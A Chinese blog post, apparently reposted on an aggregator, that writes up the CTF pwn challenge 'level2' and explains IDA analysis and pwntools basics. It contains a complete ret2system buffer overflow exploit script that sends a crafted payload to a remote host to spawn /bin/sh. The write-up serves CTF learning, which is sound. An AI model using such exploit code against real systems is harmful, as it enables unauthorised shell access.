首页 > 其他 > 详细

level2-嘌来的wp

时间:2020-02-29 13:09:20      阅读:67      评论:0      收藏:0      [点我收藏+]

这次做下level2这道题。

开始先自己去分析结构:

1、IDA打开,看到push的时候会打印出Hello World!,然后会call到system

技术分享图片

 

接着shift+F12查看字符,发现有system/bin/sh

技术分享图片

 

 然后回到main函数中F5,

技术分享图片

 

我们看到溢出函数也很简单,因此此处我们可以构造payload获得shell,从而得到flag .

2、函数的栈帧如下:

技术分享图片

3、构造代码,在这里的时候构造出来问题查看wp。

from pwn import *
elf = ELF("./level2")
io = remote("111.198.29.45",44725)
sys_addr = elf.symbols["system"]
bin_addr = elf.search(/bin/sh).next()
payload = a * (0x88 + 4) + p32(sys_addr) + p32(0) + p32(bin_addr)
io.recvline()
io.sendline(payload)
io.interactive()
io.close()

4、结果

技术分享图片

 

 

知识回归:

这次学到了一个新的函数ELF,以及下面的方法symbols和search

ELF 用来操作ELF文件的工具

elf = ELF(pwn)

hex(elf.address)

hex(elf.symbols[write])

hex(elf.got[write])

hex(elf.plt[write])

与pwnlib.tubes的常见交互方式

recv()

recvuntil()

recvline()读取到‘\n‘

recvlines(n)

recvall() 读取到EOF

 

send()

sendline()会自动加换行符

作者:23R3F
链接:https://www.jianshu.com/p/d3187a63c582
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
 

 

level2-嘌来的wp

原文:https://www.cnblogs.com/zi-Chuan/p/12382468.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!